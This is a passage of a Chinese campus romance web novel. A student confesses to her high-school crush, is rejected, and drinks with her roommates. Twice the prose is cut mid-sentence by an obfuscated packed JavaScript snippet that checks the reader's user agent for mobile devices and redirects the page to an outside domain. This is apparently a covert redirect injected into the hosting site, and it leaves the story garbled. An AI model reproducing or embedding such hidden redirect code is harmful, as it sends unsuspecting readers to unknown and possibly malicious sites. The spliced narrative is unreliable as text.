《岔路口》 1. 声控灯 又一年盛夏，热气似火。 暑假前夕，大抵是为了丰富学生最后的课余生活，学校特意从校外请了知名教授，办了场大型天文讲座。 本就不大的会议厅堆满了几个专业的学生，一眼望过去，只能看见乌泱泱攒动的人头和闪着刺眼白光的电子屏。 聚精会神听了一半的宁苒实在是撑不住了，伸着懒腰打了个哈欠后，便借着教授出门打电话的几分钟，靠着暗红色的软座，翘二郎腿刷起了手机。 校园墙上又出了新鲜的八卦，她兴致勃勃地往边上一凑，正打算和旁边的人分享，但看到对方认真地低着头做笔记后，即将要说出口的话又立刻收了回来。 好在宿舍群里立刻有消息弹出来，缓解了她的聊天欲望。 【你们坐哪去了？我怎么没看见汀妹？】 宿舍四个人来会议厅的时间不一致，没能抢到一排座位，只能分开了坐。 捏着桌上的宣传单扇了扇风，宁苒瞥了眼旁边的人，忍着热意打字回复：【她坐在我旁边呢】 【刚在做笔记，没抬头，所以你们应该没看到】 宿舍群里的其他两个室友已经习以为常。 【哦哦，这样啊】 【汀妹是不是很喜欢天文？上次选修课就她一个人选的和这个有关——话说我们物理系和天文其实还是有点关系的吧？】 【肯定啊，天体物理的折磨你这么快就忘了？开普勒我可以记一辈子……】 【不过我们学校的天文系实力似乎算不上很强？照汀妹的高考成绩不是可以去更好的么？为什么选物理系？】 几个在一起待了快两年的人，熟得不能再熟，一旦聊起来就收不住了。 平日里就被各大专业课折磨得不轻，眼看着内容要跑偏，宁苒捂着发晕的脑袋回复：【能别再讨论这些让人头大的话题了行么？几个小时的讲座还不够熬的？】 【也是哦，这种问题干嘛不留着上课讨论？现在说完了上课聊啥？】 【正确的，一针见血的】 几个人醒悟过来，瞬间回归正题。 【刚在校外我看到一个大帅比！】 【付言辞？】 【汀妹的暗恋对象？？？】 后两条消息几乎是同一时间发出。 不过她们的猜测很快就被否决了。 另外一位室友紧急澄清：【NO！应该不是我们学校的，不过和他的长相级别不相上下，甚至更带感！！我发誓！！！】 【就刚才在我们校门口便利店买水，边上还有一堆人偷摸看】 【有图有真相，速速发一份照片过来】 兴趣上来了，宁苒迅速加入。 放在桌上的手机时不时跳出新消息，且频率不断递增，夏汀禾大致能猜到是宿舍群里的，没着急看，轻呼了口气后，继续低头把笔记完善。 平日里能接触到天文专业知识不算多，她并没有打算放过这次机会，还想着结束后去问教授几个问题。 直到群里的聊天内容逐渐转移到了她身上。 【那什么，话说付言辞今天好像比完赛回学校了吧？】 【好像成绩不错，我刚看他在外面和别人讲话，心情感觉也挺好，汀妹要不借着这个机会表白？[害羞]@321的宝贝小禾苗】 【我觉得可行[狗头]】 【赞同+1】 宁苒在这时才小心翼翼地戳了下夏汀禾的手臂。 “汀妹。” “嗯？” 嘴比思绪先反应过来，脑子里还想着教授的话，夏汀禾慢半拍看向她。 室内人多，即便开了空调温度也低。 夏汀禾穿了件无袖的棉质小白裙，头发扎成低丸子头，脸颊被热得白里透红。 宁苒向来喜欢乖巧甜妹长相，被她这么一看后，不由得愣住了一会儿。 即便是一起待了快两年了，她还是会时不时忍不住多瞧一眼。 没人受得了和长在审美点上的人这么近距离地对视。 颜狗的心软成一片，宁苒伸手搭上了她的肩膀后，才道：“那个谁回学校了。” 怕被别人听到，她特意凑到了耳边说。 没说出名字，夏汀禾也知道她指的是谁。 脸颊不由得更红了些。 其实夏汀禾喜欢付言辞这件事，一开始没人知道。 是上回宿舍夜聊时，宁苒带头说起了十几岁时暗恋的男生，其他两个室友跟着分享其自己的少女心事。 三个人感慨完一番后，往仍床下仍坐在桌边写论文的夏汀禾看了眼，给出最后的结论。 “啧，汀妹这么乖，应该不会像我们这样。” 说不清是不是因为事情在心底藏了太久想要找人分享，还是出于一种不想和其他人表现出不同的心理。 待宿舍彻底安静下来后，夏汀禾摸着放在桌角的日记本，轻声回应说：“不是的。” 不擅长把自己的心事说给别人听，刚开了个头，她就下意识地想要收回。 然而几个室友比她还快，“唰”一下就拉开了床帘，纷纷从床上探出身子往下看，瞪着亮晶晶的眼眸等着她的下文。 夏汀禾只好磕磕绊绊地说出实情。 “其实……” “其实、我也有喜欢了很久的人。” 原以为室友会意外，但没想到她们几个几乎异口同声地回应：“付言辞是吧？” 夏汀禾：“……” 室友摆了摆手：“嗐，其实我们早发现了，只是怕你不想说，所以也没问。” 夏汀禾：“…………” “你每次看到和他有关的都会多停留几秒钟，去食堂吃饭排在他后面还会脸红。” “还有上次，我说请他过来教我们打球，你都没拒绝。” “诶诶，这个都还好，汀妹和付言辞不是高中同学吗？你们想想，他们俩怎么就这么巧，选了同一个学校！还是同一个专业？！” …… 室友一一列举这些琐碎的小事，夏汀禾都没曾发觉原来她的喜欢这么明显。 只是要是真这么明显的话，对方却好像一直都不知道。 总之当天聊到了深夜，最后这三人纷纷建议她直接追，并且后面越扯越远，甚至连要做伴娘的事都商议完毕。 “所以你现在不想趁着这个机会追一把么？” 给她看了群消息后，宁苒脸上露出笑容，开始意味深长地打探。 自从被室友知道了暗恋的对象，夏汀禾时不时就会被这么问。 心绪乱了，夏汀禾很快错开了视线，低声说：“……我不知道。” 她从来没有想象过自己有一天会把藏在心底的事说出来。 暗恋一个人的心情总是很矛盾。 期待被看见但同时又害怕被发现。 看出了她的不自在，宁苒见好就收，立刻拍了拍她的肩膀。 “我们就说说而已，当然最主要的还是你自己的看法。” 说完，宁苒又朝她眨了下眼：“不过我们可都相信那个谁绝对不会拒绝你的。” 这句确实是宁苒的真实想法。 毕竟从搬进一个宿舍开始，她就见证了至少不下十个男生明里暗里地和夏汀禾示好。 起初她们几个年龄比夏汀禾大的室友还会自动担起姐姐的责任，警告那些不怀好意的男生离她远点。 后来发现夏汀禾自己拎得比她们清楚多了，对待这一块的事情从来不拖泥带水。 不喜欢就是不喜欢。 任何人都不会改变她自己心里的看法。 她们这才放心了许多。 因为宁苒的几句话，后半程讲座夏汀禾就在思绪拉扯中度过，一直到结束后出了会议厅，她脸上的热度才稍稍降下来些。 七点。 宿舍四个人一起挤在人堆里，顺着人流走楼梯下去。 楼道偏窄，夏汀禾走在最边上，没和室友一排，尽量保持侧身好让其他人通过。 她和平常一样安静地听着她们的话，一边又忍不住走神，默默抬眸在人群中漫无目的地寻找。 ……他回学校了？ 如果要去宿舍的话，应该会经过这里吧？ 想到路上可能会遇见某个人，心脏克制不住地“扑通”跳了几下。 殷切的心情在喧闹的人群中不断被加热，夏汀禾甚至能感觉到自己的呼吸频率也在加快。 好像直觉就能推断付言辞会在下一秒出现。 ——“诶，付言辞这次比赛又是第一。” 细细簌簌的讨论声忽地从身后传来，夏汀禾看向远方的目光微不可察地停顿了下。 两个女生的声音并不大，夹杂在众多人声中，甚至可以说得上是小，但她能听得很真切。 多年来养成的习惯，她对付言辞的名字比自己的要敏感得多，总能在人群中捕捉到和他有关的消息。 “付言辞？物院的吧？你怎么这么快就知道了？” “他不是代表学校参加的么？拿奖了官网新闻有啊，刚发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15509838|170573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来的。” “服了，他好帅啊，不知道有没有女朋友。” “没听说过，不过像他这种类型的，追的人肯定都得排队了，要不你去试试？” …… 身后的两个女生一人一句地交流着，也没注意到其他人的动静。 夏汀禾有意在台阶上停留了下，让女生从她身边掠过。 声音逐渐远去。 她们一离开，夏汀禾感觉到这边的光亮就暗了不少。 “汀妹，你刚不是说要去校外拿快递吗？能顺便帮我拿一下么？” 肩膀被宁苒拍了一下，夏汀禾回过神来，没听清她的话，只垂了垂眼睫，回应：“……好。” 他一直都是这么耀眼的。 - 出了学校，宁苒把取件码发给了她。 夏汀禾回了个收到的表情包，便把手机塞进了口袋往前走。 下课的时间节点，街道上的热闹不比学校里少。 随着天空压暗，街边店铺里的灯光一簇簇亮起，或白或暖黄的光线透过玻璃窗，照在石砖路上。 白天的暑气到了夜里，这才终于消散了些。 十几分钟后，到了十字路口，夏汀禾停下了脚步。 校外驿站其实离学校有点距离，原本只能走大马路过去，后来Q大的学生慢慢自己摸索出来了一条小路，几分钟就可以到达。 放在往常，夏汀禾会选择走相对安全的那条。 虽然花费的时间多点，但路上的人也多。 不过今天。 从听到女生的谈话后，她的心情就莫名有些躁动。 只想快点拿完快递回到宿舍。 没犹豫太久，她在分岔路口转进了一条小巷。 小巷就在破旧的居民楼住宅区里，因为建筑将要翻新，这块地方并没有什么人住，唯一留下来的几户，都是年迈的老人家。 只是刚到巷口，夏汀禾就发现了异常。 巷道里的路灯没开。 除了几户居民楼住户家里的光源，几乎没有其他照明的东西。 从围墙上方伸出来的树枝随着风晃动，白日里看着枝叶繁茂，绿得晃眼，现在只和天空融为一体，在地上落下一片阴影。 像是黑色的幕布在张牙舞爪。 夏汀禾怕黑。 深吸了一口气后，还是停住了下来。 就在她纠结着要不直接打开手机手电筒过去时，不远处突然传来脚步声。 迅速且稳重。 很快，有人从居民楼里出来。 那人停在门口，“啪嗒”一下，打了个清脆的响指。 大概是想唤起门口的声控灯。 不过尝试一两次之后，挂在门梁上的灯依旧毫无反应。 他这才忍不住啧了一声，朝后抱怨：“不是，祁儿，你爷爷家这边声控灯都是坏的？” 听了他的话，夏汀禾也下意识地抬头往门上看了下。 环境昏暗，她眨了眨眼想努力分辨清楚。 还没找到灯在哪呢，紧接着一道漫不经心的声音就打破了他们的幻想。 “这屋子的年龄比咱俩加起来的岁数都大，哪来的声控灯？” 男生的话里带着笑，有几分调侃的意味。 懒懒散散又带着少年气的嗓音丝毫不会让人觉得冒犯，反而还想多听几遍。 “不是和你说了怕黑就别往这边走么？” 他给朋友扔了个手电筒，晃动的时候，光朝夏汀禾这边照了一下。 夏汀禾下意识转了下身，躲进了拐角。 男生的朋友并不怎么相信，咕哝了一句后，继续询问：“那不是老人家拿出来吓小孩的吗？也没那么可怕吧？” 肯定是这样的。 夏汀禾跟着在心里小声的附和了一句，但没曾想不小心发出了点声音：“肯定……” 刚蹦出一个音节，她就咬住了嘴唇。 这点细微的声响本来是不会引人注意的。 只是不巧，她碰上的男主角不仅听力不错，夜视力也好。 贺祁听到动静后，半眯了下眼，片刻后，确定拐角处那边站着个人。 他很快就把手电筒关了，笑了下，平淡自若对着巷口地回应： “嗯，还好，也就是听说十个在晚上从这里进去的，只有一个出来的而已。” 巷道又回到原来的一片昏暗，男生的话仿佛就在耳边，尾音还带着笑。 停了半秒钟，夏汀禾迅速转身跑了出去。 2. 风声 “汀妹，你拿快递没走那条小路吧？” 从驿站出来后，夏汀禾接到了宁苒打过来的视频电话。 她把快递包装拆了放进了口袋，正想回答说没，宁苒又多讲了几句：“那地方最近晚上好像会停电，黑灯瞎火的，还出了一些事，我刚刚忘记提醒你了。” “所以千万别走那边，知道吗？” 夏汀禾日常的快递都是放在校内，这次只是中途换了次货，才意外运送到了这里，对这边的事情也没这么了解。 她莫名想到了巷道里男生说的话，愣了愣，才回答：“好，我没走那边。” “那就好。”宁苒松了口气，“你到校门口了没？我过去接你。” 说着，她的语调突然上扬：“——等等，你把镜头往对面马路挪挪，那人怎么这么像……” “付言辞！” 夏汀禾在她说出来的那一刻往马路对面看过去。 一家亮着灯的球馆面前站了几个男生，背着包，手里拎着电脑。付言辞就混在他们中间，穿的一身黑色，手上还拿了件外套，侧对着她。 光晕落在他的侧脸上扫下一片阴影，他和往常一样脸上没什么表情，视线漫无目的地扫向四周，看着不好接近。 和朋友相比，他很少开口。 宁苒她们为此还特意给他起了个冷脸男神的外号。 不过即便这样，他也是一堆人中最显眼的那个。 而且夏汀禾清楚，这是他听别人讲话时的小习惯。 握着手机的姿势还僵持着，目光停留在马路对面也忘了收回。 时间就这么被轻而易举地慢放拉长。 夏汀禾见过很多次他的侧脸。 冷淡的、喜悦的，或是烦闷的，都太过于熟悉了，以至于即便隔得远了，看不清楚，她也能大概描摹出他现在的模样。 谁十几岁时没有过个喜欢的人？宁苒隔着镜头也估摸到了她的心情，很快就挂了电话。 “那我就不等你了，你自己看着注意点哈。” 语气里都带着替好朋友高兴的情绪。 紧接着，手机传来一阵忙音。 夏汀禾都没来得及说点其他的，就看见付言辞在这时偏了下头。 不知道是不是错觉，灯光恍惚之中，夏汀禾总觉得他稍微停顿了下。 不适应这样明目张胆对视的场景，她迅速低头错开视线，本能地攥紧了放在口袋里的手，无措地掐了下手心。 明明从学校里出来之后已经没感觉到热了，这时不知道怎么回事手心都开始出汗了。 需要打招呼吗？还是她要主动过去？ 好一会儿后，那边的声响趋于平静。 猜测着他们可能走了，她这才敢抬头望过去。 那边果然没了人。 或许是她看错了，付言辞只是往这个方向瞥，并没有发现她。 这也很正常。 他应该不会注意到她的存在。 即便注意到了，好像也没有什么和她打招呼的必要。 他们算不上太熟。 夏汀禾这么想着，起伏的心情慢慢放缓了些，同时又好像有点失落。 酸涩甚至占据了更多，夹杂着细细密密的刺痛。 兜里的手机震动了几下。 大概是宁苒打视频的时候，室友都在旁边，宿舍群里同步弹出了消息。 【你可以的！相信自己！】 【让物院院草成为321第一个女婿！】 【如果汀妹都没成功拿下付，那我就再也不相信爱情了】 【别听她们的，放轻松小禾苗，她们就是太着急了（亲嘴了的话可以偷偷告诉我^^】 室友的话一句比一句大胆，夏汀禾心里只想着自己大概要让她们失望了。 喜欢付言辞的人太多。 她只是很不起眼的一个，可能稍微有点不一样的，也只是一个高中同学的身份而已。 但是她连高中毕业后告白的勇气都没有。 眼前像是慢慢蒙了一层雾一般，夏汀禾眨了眨眼，打算找一条可以活跃气氛的消息回过去。 至少不要显得那么狼狈。 然而还没看完，屏幕上方倏地跳出来一条新消息。 付言辞：【你不着急回学校？】 呼吸一滞，夏汀禾盯着界面看了好一会儿才反应过来是谁发的。 【我在球馆三楼，看你还没走，所以问问】 【要过来一起打羽毛球吗？】 夏汀禾猛地抬头。 球馆三楼的落地窗帘被拉开，室内的嫩绿色墙面和白炽灯相互映衬。 付言辞站在窗边，略微低头望向她。 他打字问她。 【我下去接你？】 - 夏汀禾打羽毛球的技术算不上好。 上次接触这项运动已经是高中体育课被人拉着去凑数的时候。但凡有其他人加入，有可以退下的机会，她都会立刻礼貌推辞。 她本身对运动就不怎么感兴趣，唯一喜欢的只有爬山和散步。 不会出太多汗，一个人也可以很安静地进行。 进了电梯，夏汀禾站在稍微靠后一点的位置，习惯性地低头看向地面。 直到付言辞忽然偏头问她：“过来拿快递？” 夏汀禾反应了两秒他是在和自己说话，迅速又磕磕绊绊地回答：“嗯……有个快递填错了地址。” 付言辞点了点头。 终于找到了打开话题的机会，夏汀禾掐了掐手心，尽量让自己看起来很自然地搭话。 “你比赛还顺利吗？” 她在心里反复挑选了好几次，才小心翼翼地问出口。 因为知道这次比赛是他看重的，也因为知道结果是好的。此外，更多的就是——她想听付言辞亲口告诉她。 这种细微的差别，仿佛就能把自己与其他人区别开来，在他这里被特别地对待。 紧张感又重新蔓延过来，夏汀禾努力压下心底的小心思，抬眸看向旁边的人。 “嗯，挺顺利的。” “那就好。”得到了预设的答案，夏汀禾很快给出了回复。 付言辞有意忽略了她的紧张，向她那边靠了下，又问：“之前来过这边打球么？” “……没来过。” 话一出口，夏汀禾瞬间有些后悔上次班级团建的时候没有过来这边。 这家除了三楼的球场，一二楼便是轰趴馆，吃喝玩乐一条龙，价格服务也都不错，深受周边大学生的喜欢。 如果去了，说不定现在还可以多讲两句。 没多久，电梯门再次打开。 从电梯里出去，夏汀禾都没发觉自己下意识地松了口气，但又隐隐懊恼，刚刚应该趁着机会再多找一些话题的。 她跟着付言辞往里走，迎面正巧碰上一个拿着羽毛球在手上把玩的男生。 男生身形偏瘦，鼻梁上架着黑色半框眼镜，头发稍长，带着点卷，典型的理工科男形象。 夏汀禾对付言辞身边的人也并不陌生，很快认出来这是和他一个宿舍的，叫陈航。 “言辞，这谁啊？你女朋友？” 陈航看到夏汀禾上来，当即勾着他的肩膀打趣。 付言辞皱了下眉，很快否认：“不是，同学而已，别乱说行么？” 被人这么一看，陈航立刻朝夏汀禾做了个道歉的手势：“哦哦，抱歉抱歉哈，我这人老是管不住嘴。” “没事。”夏汀禾腼腆地摇了摇头，心里复杂的情感交织。 她在听到陈航说女朋友这个词时，第一反应竟然是有点小雀跃，随后才是心虚和稍微的被冒犯感。 他会不会很介意？ 夏汀禾用余光去观察付言辞的表情。 没看出异样，心里的喜悦顿时又多了几分。 听着他们聊天，夏汀禾跟在后面走到了场地。 羽毛球馆比学校里的大，够五六组同时进行。不过因为被他们包了场，场内只有付言辞和他的几个朋友，再无他人。 头一回看到付言辞带女生过来，其余的几个朋友反应也和陈航一样，只是这回还没来得及开口问，就被付言辞一并回绝了。 一个朋友挑了挑眉。 “真的假的？只是同学我们可不信噢。” 他对夏汀禾笑了笑，又指了下付言辞说：“他现在还单身着呢，想追大胆追。” 这后半句被付言辞用一球拍打了回去。 “行行行！你们好好玩啊！今天我做东！” 不知道是有意还是无意，这位做东的朋友特意给他们俩划分了单独的场地，离其他人都远了几米。 后来有眼睛的几乎都能看出来，这是在撮合他们。 夏汀禾没好意思问，只红着脸从付言辞的手中接过了球拍，努力强迫自己把注意力放在打球上。 刚开始因为面对着自己喜欢的人，怕被人看出来球技不佳，夏汀禾还有点紧张不敢。 后来发现付言辞时不时就在给她放水，并不会挑战高难度的，她又慢慢轻松了些。 一来一回，也对能对打挺久。 有次失手没接住，夏汀禾跑到角落里去捡球，回来后忽地瞥到对面在笑。 很短暂地扬了下嘴角，付言辞很快就收敛了情绪。 暗恋中的一切互动都会被暗恋者反复在脑海里慢放、回忆。 稍微暧昧的一点举动都会引出无限遐想。 夏汀禾也不例外。 因为付言辞的笑，之后的发球接球她都不敢去和对面的人对视。 在迷迷糊糊之中度过了半小时，几个朋友闲着对打腻了，想挑战四人的，过来邀请他们一起。 四个人于是又一起玩了几个来回。 结束后，夏汀禾快速地跑去洗手间洗了把脸给自己降温。 她对着镜子理了理头发。 镜像里的她和往常没什么不同，一张干干净净的脸透着纯真的学生气，和人第一次见面时总会被默认为是年纪比自己小的妹妹，温软又腼腆。 不过此时此刻，她欢呼雀跃的小心思像是要跳出来一般，眼眸里都含着喜悦。 太明显了。 今天晚上发生的一切都像是在梦境中一般。 以前没和人说过暗恋的事，一切细碎的情绪都是夏汀禾自己慢慢回味，但是现在已经被室友知道了，她克制不住想要分享的心思。 夏汀禾红着脸回复了宿舍群里问她什么时候回来的消息。 【我和他在打羽毛球，不过已经结束了，应该还要半个小时就回去了】 明明只需要回答时间，她却主动报备了自己的行程。 没过半分钟，宿舍群里弹出一排整齐的话。 【呦呦呦，这进度，非常可以！】 【就今天，拿下他！】 【+1】 【+2】 【+亿万光年】 【不过今天真的还回来么？】 【除非付言辞不行（bushi】 后面的话夏汀禾不好意思再回复，很快收了手机，拍了拍脸走了出去。 长廊里，付言辞就站在离她不到两米远的地方，靠着背后的栏杆，低头看着手机。 说好了和她一起回学校，这是在等她 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她没想到陈航能这么轻而易举地看出来。 那他呢？ 他会发现了吗？ 夏汀禾几乎是屏着呼吸去看付言辞。 不过付言辞这次没回答了，直接给人用手肘抵了一下，撞开了。 他没收力，陈航被捂住肩膀装疼：“好好好，我不说了，我再也不说了，哥我错了。” 付言辞淡淡瞥了他一眼，很快朝着夏汀禾走过去，带着她出了球馆。 街道上风大，相比来时已经凉快了许多。 没了其他人的干扰，付言辞这才和她解释：“抱歉，他们平常就这样，不会有下次了。” 他的声音缓缓传入耳中，夏汀禾看着他，浓密的眼睫轻颤了下。 他向来是很有分寸的，但是现在，夏汀禾并不是很想听到他说这样否定的话。 她低着头，没回应。 或许是室友的鼓励起了作用，或许是因为在球馆里付言辞为了保护她被球砸中抬手挡了一下。 她心里突然窜出一股冲劲。 感受着仿佛在耳边心跳的振动，夏汀禾颤抖着嘴唇，不受控制地说了出来：“……那要是他说的是真的呢？” 她第一遍说得很小声，几乎只有自己能够听到。 从为了多看他一眼绕远路去学校、因为他的一句话高兴一整天，到看着他不断地比赛、拿奖、成为那么多人喜欢的对象。 和他有关的一切，她都不知道重复回忆了多少遍。 付言辞看向了她。 就这一眼，给了她信心。 夏汀禾咬着抖动的嘴唇，无比紧张又试探性地重复了一遍： “如果……我喜欢你。” “是真的呢？” 她和陈航从认识到相处不过一个小时，对方却能和室友一样很快反应过来她喜欢付言辞。 那是不是意味着，她对他的态度的确很容易看出来？ 藏在心底几年的秘密被说出口，说不上来期待和轻松那个更多一点。 夏汀禾短暂地迷糊了几秒钟，很快就被一阵风吹醒了似的，想要收回。 她想解释她只是随口一说，不期望他回答。 “不是，我……” 只是她还是慢了一步。 听到她的反问后，付言辞往常冷淡漆黑的眼眸中闪过一丝光亮，但很快又归于了沉寂。 “如果是真的，那……” “抱歉。” 夏汀禾在这一瞬间还没反应过来他说了什么，懵了一两秒，只感觉到风声骤然停滞。 付言辞别过了脸，继续说了下去：“如果刚刚的行为让你误会了，是我的不对。” “我以为我们是同学，约你一起打球不会想太多……” 他停顿了下：“抱歉，以后我不会再随便约你了。” 耳边的话逐渐清晰，夏汀禾这才发觉鼻尖开始发酸。 好一会儿后，泪水不受控制地涌出眼眶。 - 从居民楼里出来，梁浩还在不停地翻着衣服，里里外外地检查有没有沾在上面的石灰。 三遍后终于确认是干净的，他才松了口气，指了指房子问身边的人：“我说，这儿该不会过不久就塌了吧？” 贺祁看了他一眼，笑了笑，懒洋洋地回话：“嗯，所以不是来这儿玩剧本杀的么？你上次不是说想玩点刺激的？” 梁浩：“……” 有这么刺激的？ “我和你说认真的。”他提高了音量。 贺祁点了点头，一晚上光应付他的问题去了，有点疲惫，此时好不容易从破旧的房子里出来，也懒得辩解了。 “掉点石灰很正常，本来装修就选了最便宜的。” 梁浩回头看了一眼破败的墙皮，又在浑身上下都仿佛散发着大少爷气质的贺祁身上扫视了两下，不由得感慨起来：“真不知道你小时候怎么住下来的。” “算了算了。”他摆了摆手，又问：“你刚不是说在巷子里看见了谁么？谁啊？” 被他这么一提醒，贺祁才想起印象中的女生。 胆子不大，但是喜欢尝试。 大概是又菜又爱玩的类型。 不过他对和自己无关的人和事向来不怎么关心。 只是凑巧碰到的路人而已。 他笑了下，正想敷衍回答。 结果抬眸就看见了几米之外的人。 3. 三罐果酒 “这个付言辞，肯定是渣男！” “没意思还约别人去打球，约他个大头鬼啊！” “就是就是，汀妹这不是明摆着喜欢的他的嘛。他倒好，不主动不拒绝，还亲密接触搞暧昧。靠！越想越觉得不对劲了。” 从了解到事情的状况到去接夏汀禾，室友三人就没有停止过对付言辞的讨伐。 她们本来都做好准备打算美美庆祝一番了。 哪能想到是这样的结果，只能一边安慰着，一边又和夏汀禾道歉。 “对不起啊，汀妹，是我们不应该这么劝你的。果然长得帅的也不一定是什么好东西。” 不管是不是宁苒她们，结果都不会改变的。 夏汀禾并不觉得室友有什么错，她摇了摇头，低着头回答说没事。 宁苒少见她情绪这么低落的时候。 平日里的夏汀禾虽说总是安安静静的，习惯一个人做事情，但更多透露出来的是平和。 她性格内敛慢热，宁苒她们也都明白。 眼下看到夏汀禾垂着眼睫，一言不发的模样，宁苒忍不住伸手抱了抱她，边拍着她的背，边轻声安抚：“算了，不提这种伤心事了。谁还没有个过去啊，咱们去酒吧里喝一顿就没事了昂。” 借酒消愁，很常见的成年人行为。 只是这话一出，很快就偏了方向：“我赞同，不过——真去酒吧？” 挽着夏汀禾另一只手臂的寝室长应忱接了这么一句。 几个室友面上是比夏汀禾活跃一点，参加的活动多些，但其实也就是嘴上大胆，真稍微出格的事还没干过。 于是讨论讨论着，一开始“去酒吧干他个八九十瓶”、“红的白的都来”慢慢变成了“找家清吧搞几杯啤酒喝喝”。 后来又考虑到被家长发现后暴打的可能性，最终几个人很怂地决定去商场挑几瓶果酒尝尝。 “可以吗？”她们问夏汀禾的意见。 夏汀禾顿了顿，收起了刚在手机上查找附近酒吧的界面：“……好。” Q市的商圈基本上是绕着Q大建立起来的，因此几家大商场也就在学校附近，步行几分钟，便可抵达。 宁苒经常来这边逛街买衣服，对这里的路线熟悉，进来后，直接领着她们去了三楼的美食小吃层。 夜晚的商场灯火通明，热闹非凡。 围绕着商场圆环长廊的一圈除了开着的门店，门口还有小摊售卖，多半是些试吃或者有折扣的零食饮品，用来吸引顾客。 本意是带夏汀禾散心，她们也没在这些地方逗留，先去了一家买了果酒和零食，提着一袋子出来后，这才有心思逛别的。 四个人并排着走在廊道上，一人手上拿着一瓶果酒，插着吸管喝。 都是第一次尝试这种类型的饮品，试了后便颇有心得地发表意见。 “这个口味的感觉还不错，桃子味挺浓，酒味也不是很重，谁想尝尝么？” “倒一点给我试试。” 几个人在吃上面向来不怎么讲究，吃到好吃的就一起分享。 果酒也一样。 她们特地把几个网上比较火的牌子口味都挑了一瓶。 夏汀禾多买了几瓶青柠味的。 从小吃店逛到了楼下的精品店，在学校憋了太久，几个人越逛越来劲。 等她们在几家店铺挑着看着买了一大堆小玩意后，出了店门了，才发现夏汀禾手上是空着的，什么都没买。 “汀妹，你不买东西吗？我刚看你还挺喜欢那个日记本的。”应忱心细，先察觉到了这点。 夏汀禾没太多解释，努力挤出笑容，回答说：“我就是随便看看。” 她其实心思并不在这些上面，看中那款日记本也只是因为上面印着的字母刚好是付言辞的名字缩写，下意识地多分了一点注意力。 等回过神来想要收回目光时，就被发现了。 应忱没继续追问，只道：“那你还有别的想买的么？我们和你一起去。” 不习惯麻烦别人，夏汀禾很快做出了选择，摇了摇头说：“没什么想买的了。” 知道室友都在迁就着自己，没放开了玩，她指了指出口：“商场里有点热，我想出去透透气，你们先逛吧，我过几分钟就回来。” “诶。”应忱还没把人叫住，夏汀禾已经往出口的方向走了过去。 她隐隐担心：“汀妹刚没喝多少吧？” 宁苒打开装着果酒的袋子一看。 里面已经全空了。 夏汀禾自己买的三罐果酒，全部都喝完了。 - 马路上的人比商场里少。 夏汀禾没走太远，在出口处随便找了处休息椅就坐下了。 从热闹的氛围里脱离出来，她才慢慢感觉到，自己好像陷入了一潭死水，扔进石子也不会掀起半点波澜。 她也没管，只是望着远处的一棵树发呆，任由思绪飘远。 夏汀禾说不清楚自己到底喜欢了付言辞多久。 可能是三年，也可能更久。 不过从暗恋的那一天起，她几乎所有的心思都会跟着付言辞的一举一动变化。 会因为他对自己和别人有细微的差别而心动，也会因为他和其他女生的接触而酸涩痛苦。 但唯独没有尝试过希望落空的滋味。 感觉到泪水在眼眶里打转，夏汀禾闭了闭眼。 等到眼睛不再发酸，她才拿纸巾擦了擦脸，打算回去。 刚起身，不远处的忽地闪过一道熟悉的身影 ——付言辞正从侧门步入商场。 他已经换了一身衣服，黑t和白色的运动裤依旧衬得人身形清瘦挺拔。 一眼就可以在人群中找到。 几乎完全是下意识的，夏汀禾立即站了起来。 她也不知道自己哪来的想法。 只是在想清楚之前，就已经起了身朝那边跑了过去。 “付言辞！” 这是夏汀禾第一次这么大声地喊他。 尽管声音也并不大，甚至周围都没人回头。 然而付言辞停下来了。 酒精上头，夏汀禾不至于醉，但多少还是受了影响，有点晕乎乎的。 看到他停下来后，她才没那么着急，以至于差点崴了脚。 夏汀禾费力地跑到他面前。 两个人面对面站在商场侧门的入口处。 好在从这儿进去的人很少，这会儿旁边并没有其他人的目光。 不想被付言辞发现自己喝了酒，看到不好的一面，夏汀禾便低着头，轻喘着气，小心翼翼又语无伦次地问： “我知道你不喜欢我……但你能给我一点时间吗？我还有一些问题……” 说到后面，夏汀禾感觉到自己有些开不了口，从那句“知道你不喜欢我”后，话就像是卡在了喉咙里，难以言说。 她咬了咬嘴唇，努力让自己保持平静。 “我、我还有一些问题想问你。” 语气低落了下来，像是把自己埋到了尘埃里。 她渴求般地问：“你能告诉我拒绝的原因吗？” 感情上的事，被拒绝哪有理由？只不过是想再和他多说几句话。 泪水又一次地在眼眶里打转，没听到对面的人的回答，夏汀禾默认当作他在听，继续道：“我可以改。” 如果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15509840|170573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我改了，你会不会可能就会变得多喜欢我一点了？ 夏汀禾苦涩地笑了笑，说：“我知道自己有很多不好的地方，胆子很小，性格也内向，长得也不算很漂亮。” 她把自己在喜欢的人面前贬低式地剖析一遍。 “但是……”夏汀禾深吸了一口气，低着头怯懦地说：“但是应该也没那么糟糕。” 她学习成绩不错，性格上除了胆小了些，也没有太大的缺点，长相虽然不算是明艳大美人类型的，但被很多人夸乖巧可爱，应该……也至于太差吧？ 在心里细数出来之后，夏汀禾才发觉自己确实好像没有什么资格配得上他。 追付言辞的女生，很多各方面都比她优秀。 不过有没有可能呢？或许付言辞没有喜欢的人，但对她的好感度会稍微高一点点呢？ 酒壮人胆，脑子一热，夏汀禾脱口而出：“所以你能不能、能不能给我一次机会？让我试着追一下你。” 